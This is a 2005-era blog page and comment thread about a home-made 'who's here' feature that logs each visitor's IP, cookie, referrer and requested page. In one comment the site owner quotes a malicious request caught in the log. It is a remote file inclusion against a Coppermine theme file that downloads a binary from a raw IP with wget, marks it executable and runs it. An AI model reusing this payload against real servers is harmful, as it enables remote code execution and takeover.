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About: who's here

I put in a routine that records information about each visit, such as what is your cookie group, ip, where you came from, what page you requested, when was your last visit. I count how many visits came in on that ip or cookie.  This database is used to create the statistics that you see.  Look at it as the who's-in-this-room list that is usually displayed on the right of the screen in chat rooms.  Click on the from to see where they came from, click on the this to see what they are viewing.  The number on the right gives you the number of pages that they requested from that ip or cookie.
Working on improving this experience now.  Here are some changes either made or in progress:
  1. exclude bots - if you want to study bot access to the site, then study it on another page
  2. show time from now since person was here
  3. show group person is from
  4. show search query sting from whence they came
  5. update automatically with ajax
  6. improve display
  7. install in right column of all pages

Tags

  1. new features
  2. who looks
  3. web
  4. show access log
  5. eye
  6. webdesign
  7. chat-who-is-here
  8. chat

Comments


Seth says
There seem to be an inordinate number of visists to and from the same tag rooms from different ip addresses:
blog~comment,wiki references
blog~comment,dictionary
The only way i can explain this is that there is some process that is monitering something with these accesses.


Mark de LA says


Seth says
Mark 2005-12-30 08:27:13 2392
Maybe somebody is looking for an index of topics and can't figure out the left-hand search column via a robot.
I doubt it.  It keeps happening over and over again at widely spaced time intervals.

Seth says
google show access log is useless for delicious because they dont allow phrases, but it does bring up one relivant item from technocrati.

Seth says
... no sense in posting this to delicious unless i can figure out a good tag room to put it in.  Any suggestions ?


Mark de LA says
Could use the phrase from hide & seek "You're IT" or "I'm It" or something similar without the spaces and apostrophes.

Seth says
Mark 2005-12-30 09:55:15 2392
who is in the room
who's there?
i doubt that anyone will use that as a tag for the same kind of thing.  its like winning at google 25000 pyramid ... can you think of a phrase that everyone else is using. 

Seth says
... thing about this game is that you can try it out yourself. tag the item the way you think would work, then see if it navigates to relivant tag rooms.

Mark de LA says
arrangement by highest to lowest count might be interesting

Seth says
Mark 2005-12-31 11:39:26 2392
arrangement by highest to lowest count might be interesting
people who are not at the very top of the list are simply not present at the site now. they are long gone, even though they may have been very active some time ago. 

Seth says
The illusion that we are after here is awareness of the presence of people at our site.  The metaphor i'm working on is people walking around and commenting on pictures at a gallery .. and perhaps eventually interacting with each other.

Colm Sean O Cinneide says
hi seth

Seth says
Another by product of this experiment is that we can watch attempts at malicious mischief go by. Like for example
http://fastblogit.com/modules/coppermine/themes/default/theme.phptheme.php
?THEME_DIR=http://209.136.48.69/cmd.gif
?&cmd=cd%20/tmp;wget%20209.136.48.69/cbac;chmod%20744%20cbac;
./cbac;echo%20YYY;echo|

Seth says
One thing about watching who is watching us is that we discover a lot about what is going on at the site. For example: i am almost positive that our friendly spammer enters through this room blog~comment,wiki references; but i cannot prove it.

Seth says
seth 2005-12-31 15:02:05 2392
Hi Winnie, i didn't see you come in because you left your author blank. I'll fix that.
fixed.

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